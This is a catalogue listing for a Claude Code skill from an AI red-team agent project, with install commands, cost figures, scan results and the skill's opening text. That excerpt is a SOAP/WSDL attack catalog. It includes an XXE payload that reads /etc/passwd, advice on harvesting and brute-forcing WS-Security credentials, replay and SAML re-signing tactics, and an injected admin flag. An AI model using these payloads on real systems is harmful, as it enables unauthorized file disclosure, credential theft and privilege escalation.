api-soap-wsdl

api-soap-wsdl is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 53 tokens per session (1,165 once invoked), scanned A, original, Apache-2.0.

A security guide to SOAP and WSDL, XML-based web-service technologies still used by some enterprise systems and older integrations.

In plain words
What is it for?
It is for finding WSDL endpoints, testing SOAP requests, reviewing XML external entities (XXE), WS-Security credentials, and WS-Addressing replay risks.
Why use it?
It helps uncover weaknesses in service descriptions, XML parsing, authentication tokens, replay protection, and transport security.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It is for finding WSDL endpoints, testing SOAP requests, reviewing XML external entities (XXE), WS-Security credentials, and WS-Addressing replay risks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/soap-wsdl
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill soap-wsdl
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for api-soap-wsdl

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/soap-wsdl/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/soap-wsdl)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/soap-wsdl"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/soap-wsdl/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for api-soap-wsdl

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/soap-wsdl"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/soap-wsdl.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,165 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 35
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Data Exfiltration · line 33
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.01165
Opus 5 $0.00026 $0.00583
Sonnet 5 $0.00011 $0.00233
Haiku 4.5 $0.00005 $0.00117

Measured 9d ago against content hash 0596c30a0237, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

api-soap-wsdl scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk -X POST -d @ws-attack.xml https://target/svc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • soap-wsdl — 97% identical, 2 lines differ
packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md · 111 lines

How it starts

The opening of the file, as written. The whole thing — 111 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

Read the full file on GitHub · 111 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 111 lines · 53 tokens per session scan A 0596c30a0237

Subscribe to this mod's changes

api-soap-wsdl is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 53 tokens to every session and 1,165 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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